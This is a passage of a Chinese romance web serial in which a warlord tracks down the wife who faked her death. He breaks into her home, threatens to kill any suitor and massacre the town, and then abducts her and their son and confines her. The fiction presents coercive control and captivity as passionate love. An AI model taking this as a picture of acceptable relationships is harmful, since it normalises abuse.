每一次他在附近,她都会这样。
“团圆,别玩了,快出来!”沈晚清系好包袱,对着屋内喊了一声,转身就要去拿晾衣架上的另一件小棉袄。
然而。
就在她转身的那一瞬间。
她的脚步猛地钉在了原地,浑身的血液仿佛在这一秒冻结。
院子中央,那棵老柳树下。
不知何时,多出了一个高大的身影。
他没有穿那身显赫的大帅戎装,只穿了一件简单的白色衬衫和黑色马甲,袖口随意地挽起,露出一截结实的小臂。
他就那样静静地站在那里,背着光,面容隐藏在阴影中。
但他那双眼睛。
那双深邃、幽暗、此刻却翻涌着惊涛骇浪的眼睛,正死死地盯着她。
“嗒。”
沈晚清手中的包袱滑落,重重地砸在地上,发出一声闷响。
风停了。
世界静止了。
三年。
一千零九十五个日日夜夜。
她曾在梦里无数次见过他,也曾在报纸上无数次描摹过他的脸。但当这个活生生的人真的出现在面前,出现在这个充满药草香的小院里时,她才发现,自己所有的心理建设,在这一刻溃不成军。
他瘦了好多。
眼窝深陷,颧骨突出,脸色呈现出一种病态的苍白。原本挺拔如松的脊背,此刻却因为极度的紧绷而微微颤抖。
他看着她,就像看着一个失而复得的易碎梦境。
“晚晚。”
良久。
他开口了。
只有两个字。
声音沙哑、破碎,带着小心翼翼的试探,仿佛只要声音大一点,眼前这个正在晾晒草药的身影就会像三年前那样,化作飞灰消失不见。
沈晚清的眼泪,毫无预兆地夺眶而出。
“你……”
她张了张嘴,却发不出声音。
理智告诉她,快跑。趁着还没有彻底被抓住,快跑。
身体比大脑反应更快。沈晚清下意识地后退了一步,转身就要往屋内冲去——那里有通往隔壁的暗门!
“想跑?”
看到她转身的一刹那,陆淮锦眼底的最后一丝理智崩断了。
“你还想跑去哪?!”
他发出一声低吼,整个人如同一头被激怒的猎豹,瞬间跨越了两人之间那几米的距离。
“砰!”
就在沈晚清的手即将触碰到门框的瞬间。
一只滚烫的大手从身后狠狠地攥住了她的手腕,一股巨大的力量袭来,将她整个人猛地拽了回去。
天旋地转。
下一秒。
沈晚清重重地撞进了一个坚硬、滚烫、带着淡淡烟草味和熟悉气息的怀抱里。
“放开我……陆淮锦!你放开我!”
沈晚清拼命挣扎,拳头雨点般砸在他的胸口。
“不放!死也不放!”
陆淮锦红着眼,双臂如同铁钳一般,死死地箍住她的腰和后背,力道大得仿佛要将她揉进自己的骨血里,甚至勒得她骨头生疼。
“沈晚清!你好狠的心!”
他把头埋在她的颈窝里,声音颤抖得不成样子,带着无尽的委屈和控诉:
“三年了……”
“我给你挖坟,给你立碑,给你守丧……我每天晚上抱着你的衣服睡觉,我活得像个行尸走肉……”
“你却在这里……你却躲在这里过你的太平日子!”
“你怎么能这么对我……你怎么舍得……”
滚烫的液体,顺着他的眼角滑落,滴在沈晚清的脖颈里。
烫得她浑身一颤。
那是陆淮锦的泪。
那个流血不流泪、**如麻的修罗战神,此刻却像个丢了糖果又找回来的孩子,抱着她哭得浑身颤抖。
沈晚清停止了挣扎。
她听着他
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胸腔里那剧烈到快要**的心跳声,感受着他那仿佛要将她勒死的力度。
所有的防线,都在这一刻崩塌。
她缓缓抬起手,迟疑着,最终还是轻轻地落在了他瘦削的后背上。
“淮锦……”
她哽咽着,泪如雨下,“对不起……”
“我不是故意要丢下你……”
“我是为了团圆……为了你没有后顾之忧……”
听到“团圆”两个字,陆淮锦猛地抬起头。
他那一双布满红血丝的眼睛,死死地盯着近在咫尺的这张脸。
没有烧伤,没有毁容。
她是鲜活的,是温热的。
这就是死而复生。
“别跟我提理由。”
陆淮锦咬着牙,眼底闪烁着偏执的光芒,“我只知道,你骗了我。你让我当了三年的鳏夫。”
他突然低下头,不再给她任何解释的机会,狠狠地吻上了那张让他思念成狂的唇。
这不是一个温柔的吻。
这是一个带着惩罚、带着掠夺、带着宣泄的吻。那是在绝望的灰烬中压抑了三年的火焰,一旦重燃,便是燎原之势。
“唔……”
沈晚清被迫仰起头,承受着这**般的索取。
就在两人吻得难舍难分,气氛暧昧到极点时。
“咚咚咚。”
院墙外,突然传来了一阵不合时宜的敲门声,紧接着是一个温润儒雅的男声响起:
“柳大夫?在家吗?”
“我刚才看小团圆的风筝掉街上了,特意给他做了一个新的送过来。今晚做了你爱吃的桂花糖藕,要不要一起……”
陆淮锦的动作猛地停住了。
他松开沈晚清那被吻得红肿的唇,缓缓转过头,目光如刀锋般刺向那扇木门。
柳大夫?
爱吃的糖藕?
陆淮锦的眼睛眯了起来,那一抹刚刚升起的柔情瞬间消散,取而代之的是更加浓烈的、令人胆寒的杀意与妒火。
“沈晚清。”
他回过头,手指轻轻摩挲着她的嘴唇,笑得阴恻恻的:
“看来这三年,你过得很滋润啊。”
“连‘隔壁老王’都有了?”
第114章 邻居
那一阵温润的敲门声,在陆淮锦听来,简直比战场上的枪炮声还要刺耳。
“柳大夫……做了你爱吃的桂花糖藕……”
这句话里的每一个字,都像是一根毒刺,精准地扎在陆淮锦那颗刚刚复苏的心脏上。
他松开了怀里气喘吁吁的沈晚清,但手臂依然霸道地环在她的腰间,不给她一丝逃离的机会。
“松手……”沈晚清脸色煞白,压低声音推他,“是顾先生,他只是邻居,你别乱来!”
“顾先生?”
陆淮锦冷笑一声,眼底翻涌着黑色的风暴,“叫得挺亲热啊。怎么,怕我这个‘前夫’吓着你的新欢?”
他不顾沈晚清的阻拦,大步流星地走向院门。
“哗啦!”
院门被猛地拉开。
门外,站着一个身穿青色长衫、戴着一副金丝眼镜的年轻男子。他手里端着一个精致的瓷碗,臂弯里还夹着一只崭新的风筝。
正是住在隔壁的教书先生,顾西城。
顾西城原本脸上挂着温和的笑意,正准备开口寒暄,却被突然开门的陌生男人吓了一跳。
尤其是当他看清开门者的样貌时——
这个男人虽然只穿着衬衫马甲,但身材高大魁梧,浑身散发着一股令人窒息的血煞之气。那双阴鸷的眸子正死死地盯着他,就像一头护食的恶狼盯着入侵者。
“你是……”顾西城愣住了,下意识地往后退了一步,“请问柳大夫在吗?”
“在。”
陆淮锦倚在门框上,甚至没有让开的意思,只是冷冷地瞥了一眼顾西城手里的东西,“不过她现在没空见客。”
“没空?”顾西城有些茫然,“我是来给团圆送风筝的,顺便……”
“顺便送糖藕?”
陆淮锦嗤笑一声,那笑意却不达眼底。他突然伸出手,动作粗鲁地一把夺过顾西城手里的瓷碗。
“哗——”
他手腕一翻,那碗精心熬制的桂花糖藕,直接连汤带水地泼在了门外的青石板上。
“啪!”
空碗被他随手扔在地上,摔得粉碎。
“你!”顾西城既震惊又心疼,“这位先生,你怎么能这样?这可是……”
“我不喜欢她吃甜的。”
陆淮锦打断了他,声音冷硬如铁,“还有,我儿子也不需要别的男人送风筝。我会给他买更好的,买最好的。”
“你儿子?”
顾西城彻底懵了。他在柳镇住了三年,从未听说柳大夫有丈夫,大家都知道她是带着孩子的寡妇。
“顾先生,你先回去吧!”
就在这时,沈晚清从陆淮锦身后冲了出来。她满脸通红,既羞愤又焦急,生怕陆淮锦一发疯把顾西城给毙了。顾西城是个好人,这三年帮了孤儿寡母不少忙,决不能被牵连。
“柳大夫,这……这位是?”顾西城看着衣衫微乱、眼角还带着泪痕的沈晚清,心中升起一股不祥的预感。
“我是谁?”
陆淮锦看着沈晚清那副急于撇清关系的样子,心中的妒火瞬间烧穿了理智。
他猛地伸出长臂,当着顾西城的面,一把将沈晚清揽入怀中,低头就在她还有些红肿的唇上亲了一口。
“看清楚了吗?”
陆淮锦抬起头,眼神挑衅地看着面如土色的顾西城,嘴角勾起一抹宣誓**的冷笑:
“我是她男人。”
“也就是你们口中那个——死鬼丈夫。”
“轰!”
顾西城只觉得脑子里嗡的一声。那个传说中**三年的丈夫?回来了?
“既然知道了,还不滚?”
陆淮锦眯起眼睛,手已经摸向了腰后的枪套位置,“还是说,想留下来喝杯喜酒?”
“不……不敢……”
顾西城毕竟是个文弱书生,哪里见过这种阵仗。被陆淮锦那**般的目光一瞪,吓得腿都软了,连风筝都忘了拿,转身跌跌撞撞地跑了。
“顾先生!”沈晚清想追,却被陆淮锦死死扣住。
“人都跑没影了,还看?”
陆淮锦猛地将院门踹上,“哐当”一声巨响,震得墙上的灰都落了一层。
他转过身,一步步将沈晚清逼退到那棵老柳树下。
“沈晚清,你行啊。”
陆淮锦伸手捏住她的下巴,强迫她抬头看着自己。他的眼中布满了红血丝,那是嫉妒,是愤怒,更是深深的恐慌。
“我不过才‘死’了三年,你就这么迫不
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及待地找好下家了?”
“教书先生?斯文败类?”
“他碰过你吗?嗯?”
“陆淮锦!你混蛋!”
沈晚清气得浑身发抖,扬手就要打他。
“啪!”
手腕在半空中被截住。
“我是混蛋。”
陆淮锦自嘲地笑了,笑得却比哭还难看,“我要不是混蛋,三年前就不会把你弄丢。我要不是混蛋,现在就该一**了那个姓顾的,而不是在这里跟你发疯!”
他看着眼前这张让他日思夜想的脸,看着她因为维护别的男人而对他怒目而视,心口疼得像是在滴血。
“这三年,你就住在这个破地方?跟这种不入流的男人眉来眼去?”
“他能给你什么?几块破藕?一只烂风筝?”
“陆淮锦,你够了!”
沈晚清终于忍不住爆发了,“顾先生是好人!这三年要是没有邻居帮衬,我和团圆早就饿**!你以为谁都像你一样,只会**吗?”
“我只会**?”
陆淮锦的眼神瞬间黯淡下去,像是一盏灯突然灭了。
他松开了手,踉跄着后退了一步。
是啊。
他是修罗,是屠夫,是只会带来死亡和恐惧的活阎王。而那个顾先生,温文尔雅,会做饭,会做风筝,会过日子。
跟那个姓顾的比,他陆淮锦确实除了**,什么都不会。
“好……很好。”
陆淮锦深吸一口气,将眼底的受伤深深藏起,重新换上了那副冷硬的面具。
“既然你这么喜欢这里,这么喜欢那个姓顾的。”
他整理了一下凌乱的衣领,声音恢复了冰冷:
“那我就让你看看,我这个只会**的‘前夫’,是怎么把你的生活搅得天翻地覆的。”
说完,他深深地看了沈晚清一眼,转身拉开院门,大步离去。
背影决绝,带着满身的萧瑟与戾气。
“陆淮锦……”
沈晚清靠在树干上,看着空荡荡的门口,眼泪无声滑落。
她知道,他没走远。
她也知道,今晚,注定是个不眠之夜。
这头被激怒的野兽,既然尝到了血腥味,又怎么可能轻易松口?
第115章 夜闯民宅
窗外下起了淅淅沥沥的小雨,雨打芭蕉,声声凄切。
屋内,一盏桐油灯如豆般跳动。
沈晚清并没有睡。她刚刚哄睡了受惊的小团圆,此刻正坐在床边,借着昏暗的灯光,手里紧紧攥着那把用来防身的剪刀。
包袱已经收拾好了,就放在脚边。
她在等天亮。只要天一亮,城门的守卫松懈一些,她就立刻带着孩子坐船离开。
陆淮锦白天的眼神太可怕了。那是一种要将她拆吃入腹的眼神。她不能赌,更不敢赌。
“咯吱……”
突然,一声极其细微的木轴转动声打破了夜的寂静。
沈晚清浑身的汗**瞬间竖了起来。
声音来自窗户。
她还没来得及做出反应,只见那扇原本插好的木窗,被人用一把薄薄的**从外面挑开了插销。
紧接着,一道黑影伴随着湿冷的夜风,敏捷如豹般翻窗而入。
“谁?!”
沈晚清猛地站起身,举起手中的剪刀,声音在发抖。
“是我。”
黑影落地无声。他直起身子,一步步从阴影中走出,那张棱角分明的脸在灯光下忽明忽暗。
是陆淮锦。
他浑身湿透了,雨水顺着他的发梢滴落在昂贵的衬衫上,晕开一片片深色的水渍。他没有打伞,似乎在雨里站了很久,浑身散发着一股逼人的寒气和淡淡的烟草味。
“你……你怎么进来的?”沈晚清下意识地后退,却撞到了身后的衣柜,“这是私闯民宅!我要喊人了!”
“喊啊。”
陆淮锦随手将那把挑窗户的**扔在桌上,发出“当”的一声脆响。
他一边漫不经心地解开袖口的扣子,一边步步紧逼,嘴角勾起一抹邪肆的冷笑:
“正好把那个姓顾的,还有街坊邻居都喊来。”
“让他们看看,深更半夜,孤男寡女共处一室。看看他们眼里的‘贞洁烈女’柳大夫,房里藏着个什么样的野男人。”
“你无赖!”沈晚清气结,压低声音骂道,“这里有孩子!你别发疯!”
听到“孩子”,陆淮锦的脚步顿了一下。
他侧过头,看了一眼床铺内侧。那里,小团圆正睡得香甜,呼吸均匀,小手还紧紧抓着被角。
陆淮锦的眼神柔和了一瞬,但转回沈晚清身上时,再次变得狠厉。
“怕吵醒儿子?那就别动。”
他猛地欺身而上,一把扣住沈晚清拿着剪刀的手腕,反手一拧,将她整个人死死地抵在衣柜上。
“哐当。”剪刀落地。
两人之间的距离瞬间归零。
他身上冰冷的雨水气息,混合着炽热的体温,强势地包裹了她。
“沈晚清。”
陆淮锦低下头,鼻尖几乎触碰到她的鼻尖,呼吸交缠。他的声音沙哑低沉,带着浓浓的危险气息:
“我问你,包袱收拾好了,是想去哪?”
“去找那个姓顾的私奔?”
“胡说八道!”沈晚清被迫仰着头,眼眶发红,“我没有!我和顾先生清清白白!”
“清清白白?”
陆淮锦冷笑一声,那是极度缺乏安全感后的偏执,“清白到送糖藕?清白到送风筝?清白到这三年你一直住在他隔壁?”
他突然伸出手,粗暴地抓起沈晚清的左手。
无名指上,光秃秃的,什么也没有。
那枚婚戒,早在三年前的那个雨夜,被他亲手在废墟里挖了出来。
“戒指呢?”
陆淮锦盯着她空荡荡的手指,眼底的痛楚一闪而逝,随之而来的是更深的怒火。
“你把我们的婚戒扔了,是不是因为想戴那个姓顾送的?”
“陆淮锦,你讲点道理好不好!”
沈晚清挣扎着想要抽回手,“那是为了逃命!那时候我都‘死’了,还戴着那枚戒指,是怕别人认不出我吗?”
“那现在呢?”
陆淮锦不依不饶,将她的手按在自己胸口——那里,隔着湿透的衬衫,依然能摸到那枚坚硬的玉扳指。
“我戴了三年,连洗澡都没摘过。你呢?”
“你是不是早就想摆脱我?是不是早就想换个男人过安生日子?”
“我……”沈晚清被他眼里的疯狂吓到了,一时间竟不知如何反驳。
“说话!”
陆淮锦低吼一声,手掌猛地掐住她的腰,将她往上一提,让她双脚离地,只能紧紧攀附着他。
“沈晚清,你给我听清楚了。”
他盯着她的眼睛,一字一顿,如
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同宣判:
“只要我陆淮锦没死,只要我还没写休书。”
“你生是陆家人,死是陆家鬼。”
“你敢背着我嫁人?”
他猛地凑近她的耳边,温热的气息喷洒在她的耳廓,说出的话却让人遍体生寒:
“你嫁一个,我就杀一个。”
“你嫁那姓顾的,我就屠了这柳镇。”
“你试试看,我敢不敢。”
沈晚清浑身僵硬。
她看着眼前这个男人。他是疯的,她一直都知道。三年前他能为了复仇血洗北地,三年后他就能为了她屠灭柳镇。
“陆淮锦……”
沈晚清闭上眼,两行清泪滑落,“你到底要怎么样?我已经不是当年的沈晚清了。我现在只是柳云,只想过平静的日子……”
“不可能。”
陆淮锦一口咬住她的锁骨,在那原本就白皙的肌肤上留下一个深深的齿痕。
“平静?”
“我这三年活在地狱里,你也别想一个人在人间逍遥。”
“要下地狱,咱们一起下。”
他抬起头,看着她锁骨上的印记,眼中闪过一丝病态的满足。
“明天一早,跟我回北城。”
“不回!”沈晚清睁开眼,倔强地看着他,“我死也不回那个笼子!”
“不回?”
陆淮锦松开手,后退一步,整理了一下衣领,恢复了那副高高在上的大帅模样。
他转过头,看了一眼床上熟睡的小团圆。
“你可以不回。”
他走到窗边,重新打开窗户,外面的冷风灌了进来。
“但儿子,我带走。”
“你……”沈晚清大惊失色,冲上去护在床前,“你不能带走团圆!他是我的命!”
“那就跟我走。”
陆淮锦翻身坐上窗台,回过头,深深地看了她一眼。那一眼里,有威胁,有势在必得,也有藏在深处的一丝乞求。
“沈晚清,别逼我动粗。”
“明天早上,我要在医馆门口看到你。”
说完,他纵身一跃,消失在茫茫雨夜中。
只留下满室的寒气,和瘫软在地上、泣不成声的沈晚清。
夜,更深了。
这一场关于爱与自由的博弈,才刚刚开始。
第116章 解释
雨停了。清晨的阳光穿过薄雾,洒在医馆斑驳的门槛上。
陆淮锦准时到了。
他换了一身崭新的深灰色戎装,风纪扣扣得一丝不苟,黑色长筒军靴锃亮,披着大氅,身后跟着宋副官和两排荷枪实弹的卫兵。
这阵仗,不像来接妻儿,倒像是来剿匪。
“大帅,请。”
宋副官推开医馆的大门。
陆淮锦大步跨入。
原本以为会看到她惊慌失措或者收拾细软准备逃跑的样子,但眼前的一幕,却让他微微一怔。
沈晚清坐在诊台后,穿着一身素净的蓝布旗袍,头发一丝不苟地挽在脑后,插着一根普通的木簪。她正低着头,神情专注地看着一本医书,手边放着一杯还冒着热气的清茶。
听到脚步声,她缓缓抬起头。
那双眸子里,没有昨夜的泪水,没有惊恐,只有一潭死水般的平静。
“陆大帅,早。”
她站起身,语气疏离得像是在接待一个普通的病人,“是哪里不舒服?还是来抓药?”
陆淮锦眯起眼睛,目光在她那张毫无波澜的脸上巡视。
“装傻?”
他走到诊台前,双手撑在桌面上,居高临下地逼视着她,“沈晚清,昨晚我说的话,你当耳旁风?”
“大帅认错人了。”
沈晚清迎上他的目光,嘴角勾起一抹淡淡的、客套的微笑。
“民女叫柳云,是这柳镇的一名大夫。至于您口中的‘沈晚清’……”
她顿了顿,眼神甚至带着一丝怜悯:
“我也听街坊们议论过。那是您的发妻,听说三年前在北城的那场大火里,为了守节,已经壮烈殉国了。”
陆淮锦的瞳孔猛地收缩。
殉国?
她竟然能如此平静地用这两个字来形容当年的惨剧?
“柳云?”
陆淮锦怒极反笑,他绕过诊台,一把抓住她的手腕,将她扯到自己面前,“你看着我的眼睛再说一遍!你是谁?!”
“我是柳云。”
沈晚清没有挣扎,任由他抓着,甚至连眉头都没皱一下。
“陆大帅,我知道我和尊夫人长得像。这世上相似之人何其多?但这并不代表我就是她。”
她伸出另一只手,指了指自己那双布满茧子的手——那是这三年采药、磨药留下的痕迹。
“尊夫人是十指不沾阳春水的大家闺秀。而我,只是个乡野村妇。”
“而且……”
沈晚清深吸一口气,声音冷得像冰,“尊夫人爱您入骨,怎么会舍得诈死骗您三年?怎么会看着您痛苦而无动于衷?”
“所以,大帅。”
“沈晚清已经**。死在那场大火里,尸骨无存。”
“请您,尊重死者,也放过生者。”
每一个字,都像是一把钝刀,在陆淮锦的心上慢慢地割。
她在否认过去。
她在否认他们的爱。
她在告诉他——那个爱他的沈晚清已经**,站在他面前的,只是一个和他毫无瓜葛的陌生人。
“好……好一张利嘴。”
陆淮锦看着她那副油盐不进的模样,心口疼得几乎窒息。
他知道她在撒谎。
但他拿她没办法。因为她说的每一句话,都在戳他的软肋——是他没护好她,才让她不得不诈死;是他让她失望透顶,才让她不愿相认。
“说完了?”
陆淮锦松开了她的手。
他后退一步,整理了一下并没有褶皱的手套,脸上的怒气突然消失了。
取而代之的,是一种更加危险的、令人捉摸不透的戏谑。
“既然你说沈晚清**,那好。”
陆淮锦转过身,对着门口的宋副官招了招手。
“宋虎,传我的令。”
“是!”
“柳镇柳云,医术高超,姿容绝色。本帅甚是喜爱。”
陆淮锦回过头,目光死死锁定着沈晚清那张渐渐失去血色的脸,一字一顿地说道:
“即日起,纳为——姨、太、太。”
“什么?!”
沈晚清猛地站直了身体,伪装出来的平静瞬间崩塌,“陆淮锦!你羞辱谁?!”
她是他的正妻!是明媒正娶的大帅夫人!
他竟然要纳她做姨太太?!
“羞辱?
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”
陆淮锦冷笑一声,逼近她,“怎么?柳大夫不乐意?”
“你也说了,我的正妻沈晚清已经‘死’了。正室的位置,是留给她的牌位的。除了她,谁也不配坐那个位置。”
“既然你一口咬定你不是沈晚清,只是个长得像她的‘替身’。”
“那你就只配做个替身,做个姨太太。”
他伸出手,轻佻地勾起她的一缕发丝:
“怎么?柳大夫不愿意?这可是多少人求都求不来的福分。”
“你……”
沈晚清气得浑身发抖。
她没想到,陆淮锦竟然会用这种无赖的方式来破她的局!
如果不承认身份,就要以“姨太太”的身份被带回去,受尽**;
如果承认身份……那就是自己打自己的脸,承认这三年是在故意折磨他。
进退两难。
“我不去!”
沈晚清咬牙切齿,“陆大帅强抢民女,就不怕天下人耻笑吗?”
“耻笑?”
陆淮锦像是听到了什么笑话。
“我陆淮锦这三年杀的人还少吗?还在乎多这一条罪名?”
他脸色一沉,耐心彻底耗尽。
“敬酒不吃吃罚酒。”
“来人!”
陆淮锦大喝一声。
“到!”
门口的卫兵齐刷刷冲了进来。
“把这里给我砸了!”
陆淮锦指着这间充满了她这三年回忆的医馆,指着那些她精心晾晒的草药,声音冷酷无情:
“既然柳大夫要去北城享福,这些破烂留着也没用了。”
“还有,去后院把小少爷抱出来。”
“既然娘不懂事,那就让儿子先上船。”
“我看谁敢!”沈晚清尖叫一声,冲向后院,“别动我儿子!”
陆淮锦一把扣住她的腰,将她死死禁锢在怀里。
“沈晚清,戏演够了吗?”
他在她耳边低语,声音里带着压抑的疯狂:
“我给过你机会,是你自己不要的。”
“现在,游戏结束了。”
“不管你是沈晚清还是柳云,今天,你都必须跟我走。”
第117章 强行带走
“陆淮锦!你是个强盗!你放开我!”
仁心医馆内,沈晚清的惊呼声被淹没在杂乱的脚步声中。
陆淮锦根本不给她任何逃跑的机会。他单手扣住她的腰,不顾她的踢打,直接像扛麻袋一样将她扛在了宽阔的肩头,大步流星地向外走去。
“强盗?”
他在她耳边冷笑,那笑声随着颠簸震得她胸口发麻,“随你怎么骂。只要能把你带走,当强盗也比当鳏夫强!”
“宋虎!带上小少爷!”
“是!”
后院里,宋副官早就笑眯眯地把正一脸懵懂的小团圆抱了起来。
“小少爷,别怕。大帅接您和夫人回家享福去喽!”
小团圆手里还抓着那个木头**,瞪大了乌溜溜的眼睛看着被陆淮锦扛在肩上的娘亲,不仅没哭,反而兴奋地挥舞着小手:
“哇!那个凶叔叔力气好大!像大黑熊一样!”
“阿福叔叔,我们是要去坐大船吗?”
旁边被两名卫兵“搀扶”着的阿福,一脸苦涩地看着这个没心没肺的小祖宗。
“是啊……坐大船……去北边……”阿福叹了口气,这是命啊,躲了三年,终究还是被抓回去了。
“全部带走!”
陆淮锦一声令下。
那一柜子沈晚清视若珍宝的医书、那一院子晾晒好的草药,统统被他弃如敝履。他只要人,只要这活生生的、有体温的人。
……
柳镇码头。
半个时辰后。
原本停泊着乌篷船的简陋码头,此刻却停泊着一艘巨大的钢铁巨兽——“镇海号”炮舰。
那是陆家军水师的旗舰,漆黑的船身在阳光下泛着冷冽的金属光泽,黑洞洞的炮口直指江面,充满了令人窒息的压迫感。
码头上挤满了围观的百姓。
“天哪,那是柳大夫?”“那个男人是谁啊?好大的威风!”“嘘!那是北边的陆大帅!听说柳大夫其实是他在外面养的姨太太,现在是来接回去的!”
在一片窃窃私语中,陆淮锦扛着沈晚清,在两排卫兵的刺刀丛林中,登上了长长的舷梯。
“陆淮锦,那么多人看着……你放我下来!”
沈晚清听着周围的议论声,羞愤欲死,脸红得快要滴血,“我自己走!”
“现在知道丢人了?”
陆淮锦在她挺翘的臀部不轻不重地拍了一巴掌,“刚才在医馆里跟我犟的时候,怎么不知道丢人?”
“你!”沈晚清气结。
“老实点。”
陆淮锦收紧手臂,声音低沉霸道,“上了我的船,这辈子你就别想再下去了。”
……
“镇海号”,主舱室。
“砰!”
舱门被重重地踢开,又被重重地关上。
陆淮锦将沈晚清扔在那张柔软宽大的欧式大床上。
“唔……”
沈晚清在床上滚了一圈,刚想爬起来,陆淮锦高大的身躯已经压了下来,双手撑在她身体两侧,将她困在方寸之间。
“你……你想干什么?”
沈晚清看着他那双幽深如狼的眼睛,心跳漏了半拍,下意识地抓紧了衣领,“孩子还在外面……”
“放心,宋虎会带他去玩炮。”
陆淮锦看着她受惊的小鹿模样,心中那股郁结了三年的气终于顺了一些。
他伸出手,慢条斯理地帮她整理刚才挣扎弄乱的头发,动作温柔,眼神却危险至极。
“柳大夫。”
他故意咬重了那三个字,嘴角勾起一抹戏谑的弧度,“刚才在医馆,你不是说你不是沈晚清吗?说你是柳云?”
“那正好。”
“我这次南下,本来没打算带正妻回去。既然你是柳云,那就委屈你,先顶着个‘姨太太’的名分跟我回帅府吧。”
“你混蛋!”沈晚清咬牙切齿,“我说了我不去!我有我自
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己的人生!”
“你的人生,从遇到我的那一刻起,就冠上了陆姓。”
陆淮锦站直身体,不再跟她废话。
“咔哒。”
他反手锁上了舱门的内锁,然后将那把唯一的钥匙放进了自己贴身的口袋里。
“呜——!!!”
就在这时,一声震耳欲聋的汽笛声响起。
船身微微一震,开始缓缓移动。
沈晚清猛地扑到圆形的舷窗前。
只见窗外,那个她生活了三年的柳镇,那座宁静的小院,那条流淌的小河,正在视野中一点点变小,远去。
岸边,顾先生还站在人群里,手里拿着那个还没送出去的风筝,神色黯然。
“别看了。”
陆淮锦不知何时走到她身后,强硬地扳过她的肩膀,让她面对自己。
“那个姓顾的,要是敢多看一眼,我就挖了他的眼。”
他挡住了窗外的风景,也挡住了她所有的退路。
“从现在起,你的眼里,只能有我。”
“北城在等你。”
“我们的‘家’,也在等你。”
沈晚清看着眼前这个偏执、霸道、却又深情得令人心碎的男人,身体无力地滑落。
她知道,一切都回不去了。
那个叫柳云的医女,死在了这个江南的春日里。
而那个叫沈晚清的少帅夫人,即将要在北城的风雪中,迎来她被“囚禁”的金丝雀生涯。
“陆淮锦……”
她闭上眼,两行清泪滑落,“你这是在逼我恨你。”
“恨吧。”
陆淮锦弯腰将她抱起,走向那张深不见底的大床,声音低沉如魔咒:
“只要你在我身边,恨我也好,爱我也罢。”
“我都受着。”
江水滔滔,巨轮破浪北上。
一场关于爱与自由、禁锢与救赎的纠缠,随着这艘驶向北方的军舰,正式拉开了新的序幕。
第118章 囚禁
黑色的防弹轿车缓缓驶入那扇威严的朱漆大门。
车轮碾过青石板路,发出沉闷的声响。
沈晚清坐在车里,透过深色的车窗,看着窗外那一排排荷枪实弹的卫兵,看着那些熟悉的连廊、假山、花园。
三年了。
北城的风依旧带着干燥的寒意,吹在脸上像刀割一样。
这里的一切似乎都没变,甚至比三年前更加森严,更加气派。
“到了。”
身旁的陆淮锦淡淡地开口。
车门被拉开。
陆淮锦率先下车,然后并没有绅士地伸手去扶,而是直接探身进去,握住她的手腕,强硬地将她拉了出来。
“欢迎回家,我的……姨太太。”
他特意在最后三个字上加重了语气,嘴角挂着一抹讽刺的笑。
沈晚清咬着嘴唇,没有说话。
从下船的那一刻起,她就发现,陆淮锦并没有对外宣布“少夫人死而复生”,而是任由外界传言——陆大帅从江南带回了一个长得极像亡妻的替身,宠爱有加,纳为外室。
这是他在惩罚她。
惩罚她诈死三年,惩罚她不肯承认身份。既然她要做“柳云”,他就让她以柳云的身份,没名没分地被关在这里。
“带路。”
陆淮锦拉着她,径直穿过前院,走向后宅。
越走,沈晚清的心跳越快。
这条路……是通往听涛苑的路。
可是听涛苑不是已经在三年前那场大火里烧成废墟了吗?
当两人穿过一道月亮门,站在那座院落前时,沈晚清的脚步猛地顿住了。她瞪大了眼睛,瞳孔剧烈震颤,仿佛看到了鬼。
眼前。
并没有什么废墟。
一座崭新的、却又无比“陈旧”的院落矗立在夕阳下。
那匾额上“听涛苑”三个字,笔锋遒劲,和当年一模一样。
院子里那棵西府海棠,正开着粉白的花,枝桠伸展的角度都和记忆中分毫不差。
还有那个秋千架,那个石桌,甚至是石桌上刻着的棋盘纹路……
“怎么?不认识了?”
陆淮锦站在她身后,温热的气息喷洒在她的耳畔,声音低沉得令人毛骨悚然:
“这可是我让工匠,对着当年的图纸,一砖一瓦复原的。”
“为了找这棵海棠树,我让人翻遍了北六省的山头。”
“就连这地上的青砖,我都让人做旧了,哪怕有一块颜色不对,都要敲了重铺。”
沈晚清浑身发冷。
这哪里是家?
这分明是一座用执念堆砌起来的陵墓,一座用来囚禁她灵魂的祭坛。
“你……你疯了……”
“我是疯了。”
陆淮锦握着她的手一紧,直接拽着她推开了主屋的大门。
“吱呀——”
屋内,檀香袅袅。
沈晚清看着屋内的陈设,眼泪瞬间涌了上来。
梳妆台上,摆着她三年前常用的胭脂;衣柜里,挂着全是她当年最喜爱的款式的旗袍;书桌上,甚至还放着那本她只看了一半的《红楼梦》,书页折角的页码都停留在她“死”前的那一页。
时间在这里,仿佛被他用魔法强行定格在了三年前的那个夜晚。
“喜欢吗?”
陆淮锦从身后抱住她,下巴抵在她的头顶,看着镜子里那个脸色苍白的女人。
“这三年,我每天晚上都睡在这里。”
“我想着,万一哪天你魂魄归来,找不到路怎么办?所以我什么都不敢变。”
“现在好了。”
他在她脸颊上落下一个冰冷的吻:
“人回来了。这里也就不用再当衣冠冢了。”
“陆淮锦……”
沈晚清看着镜子里的他,那个曾经意气风发的少帅,如今眼底却满是病态的偏执。
“你这是何苦?我们回不去了……真的回不去了。”
“谁说回
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不去?”
陆淮锦猛地转过她的身子,双手捧着她的脸,眼神狠厉:
“只要我不想放手,你就得在这里陪我一辈子。”
“从今天起,没有我的命令,你不许踏出这听涛苑半步。”
他松开手,大步走向门口。
“来人!”
“到!”
门口,赵铁柱带着两排精锐的警卫早已等候多时。这些都是当年的老人,看到沈晚清活生生地站在那里,一个个激动得眼圈通红,却慑于大帅的**不敢乱叫。
“看好她。”
陆淮锦的声音冷酷无情:
“这是本帅新纳的‘柳姨太’。她身子弱,受不得风,不许她出院子。”
“如果少了一根头发,或者……人不见了。”
“你们所有人,提头来见。”
“是!”
“还有。”
陆淮锦停下脚步,侧过头,目光落在后院的方向——那里,宋副官正带着一脸兴奋的小团圆在玩耍。
“把小少爷安顿在东厢房。找最好的老师,最好的保姆。”
“告诉他,这是他家。”
“至于那个女人……”
陆淮锦深深地看了一眼那个站在阴影里、神色悲戚的沈晚清,心口抽痛了一下,却还是硬下心肠:
“今晚,我过来过夜。”
说完,他大步离去,背影决绝。
“哐当。”
听涛苑厚重的大门,在沈晚清面前缓缓合上。
最后的一丝夕阳被隔绝在门外。
沈晚清瘫坐在那张熟悉的雕花大床上,伸手抚摸着那冰冷的绸缎被面。
金丝笼已铸成。
金丝雀已归位。
但她知道,这并不是结束。
因为那个被带回来的小家伙——那个流着陆家血液、天不怕地不怕的小团圆,绝对不会甘心看着自己的娘亲被欺负。
这死水一潭的帅府,马上就要被那个小魔王搅得天翻地覆了。
第119章 父子斗法
